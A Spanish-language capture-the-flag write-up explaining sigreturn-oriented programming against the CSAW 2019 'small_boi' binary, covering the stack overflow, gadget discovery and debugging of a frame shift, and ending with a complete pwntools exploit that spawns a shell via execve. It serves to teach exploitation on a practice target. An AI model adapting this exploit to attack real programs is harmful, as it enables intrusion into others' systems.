Tenía guardado este writeup, para hablar de SROP, pero justo el ctf de convid, me pilló con un desafío en el que ocupe esta técnica, de todas formas y para que no se pierda aca les dejo el writeup. Es un binario del ctf CSAW 2019 de 100 puntos llamado “small_boi” (pueden descargarlo de aca) el cual resolveremos usando la técnica de sig return oriented programming.
Y Bueno que es SROP? Es una técnica usa en caso de estar presente a un escenario en el cual tenemos protección NX activada y usamos el syscall sig return para “limpiar” el stack frame (me perdonaran no se me ocurre mejor forma de explicarlo) permitiéndonos asignar a cada registro al valor que deseemos.
Por que existe un syscall así se preguntaran? Pues para que el kernel por ejemplo en momento de ejecución pueda retornar el estado de un programa al retornar de otra syscall por ejemplo. Más detalles pueden encontrar aca
Bueno con esto en mente pasemos a la accion!
Podemos observar que es un binario de 64 bits staticamente linkeado a libc, y que solo cuenta con la proteccion NX activada.
El binario simplemente espera un input y luego parece cerrarse, es un binario pequeno aparentemente programado en ASM o muy poco codigo, revisemos en más detalle en IDA…
El entry point nos muestra que llama a una función en 0x40018C la cuyal renombrare a vuln, luego de eso vemos un syscall a 0x3c lo cual nos indica un exit inmediatamente después analicemos la función mencionada.
Aca podemos ver cómo ocurre la vulnerabilidad, setea un buffer de 20 hex, luego realiza un xor sobre los registros rax y rdi para dejarlos en cero. Esto para que rax apunte al syscall 0 (read) y rdi apunte al stdin (0). El problema es nuestro RDX que indica el tamaño del input que leeremos el cual es de 200, mucho más de los 20 hex que tenemos disponibles, lo que causará un buffer overflow.
Explorando el binario vemos otras cosas interesantes como el string /bin/sh dentro del binario (nos servira despues)
Además del call a sigreturn en 0x40017c, el cual nos permitirá hacer esta llamada, la cual bien podría considerarse un “one gadget”
Con esto en mente, hagamos un script para interactuar con el binario, comenzamos con algun setup inicial:
Ahora, rápidamente en gdb (lo estoy usando con pwndbg) con cyclic vemos que el offset en el que crashea el programa (40 bytes, 8 + de los 32 a los que se termina el buffer, algo típico de overflow en 64 bits)
Pues bien con esto no queda nada más que armar el exploit, sabemos que tenemosla direccion de sigreturn entonces creamops el frame usando la magia de pwntools (vaya trabajo de hacer manual si alguien quiere experimentarlo puede ver el stream de este master!)
Ahora que setamos en esos registros? Pues sabemos que tenemos el string de /bin/sh en el binario por lo que podemos setearlo como argumento en RDI y llamar a execve poniendo el registor RAX en x3B, ademas debemos setear RSI y RDX a null y finalizar situando la ejecucion (RIP) en la llamada a un syscall, tenemos todo lo que necesitamos menos el address de un syscall, pero que podemos obtener facilmente mirando IDA (recordemos que el binario no tiene ASLR) o bien usando ropper, la cual obtenemos en la direccion 0x400185
Perfecto ya tenemos todo lo que necesitamos! Probemos… Algo ocurre y obtenemos on EOF
Al observar podemos ver que los valores de los registros no estan bien, y parecen haberse corrido (shifted) por lo que despues de mucho rato note que los registros tiene un “shift” de 8 bytes, dentro del frame podremos moverlo, probemos una vez mas
Esta vez los registros si se acomodan! perfecto
Con eso ejecutamos y shell:
Espero que les haya gustado esta técnica de explotación, en lo particular parece una buena técnica para ctfs, especialmente cuando nos enfrentamos a algunas restricciones dentro de libc para llamar one_gadet.
Aca les dejo el exploit final:
from pwn import *
# info del binario
context.binary = './small_boi'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
#funcion para correr el binario
def start():
if args.GDB:
return gdb.debug('./small_boi')
else:
return process('./small_boi')
sigret = p64(0x40017c) #sig return address
frame = SigreturnFrame() #sigreturnframe funcion de pwntools para crear el frame
frame.rip = 0x400185 #syscall, no empaquetamso ya que el frame poondra el valor directo en el registro
frame.rax = 0x3b #0x3b es el numero de syscall de execve()
frame.rdi = 0x4001ca #direccion de /bin/sh no ocupamos empaquetado por los mismo que el rip
frame.rsi = 0x00 # null
frame.rdx = 0x00 # null
payload = "A" * 40 #offset
payload += sigret #direccion de sigretur
#nuevo frame, con shift de 8 por el cambio del stack
#vi otros writeups y no se si esto le paso a todo el mundo, a mi me ocurrio con ubuntu 18.04
payload += str(frame)[8:]
#interaccion con el binario
r = start()
r.sendline(payload)
r.interactive()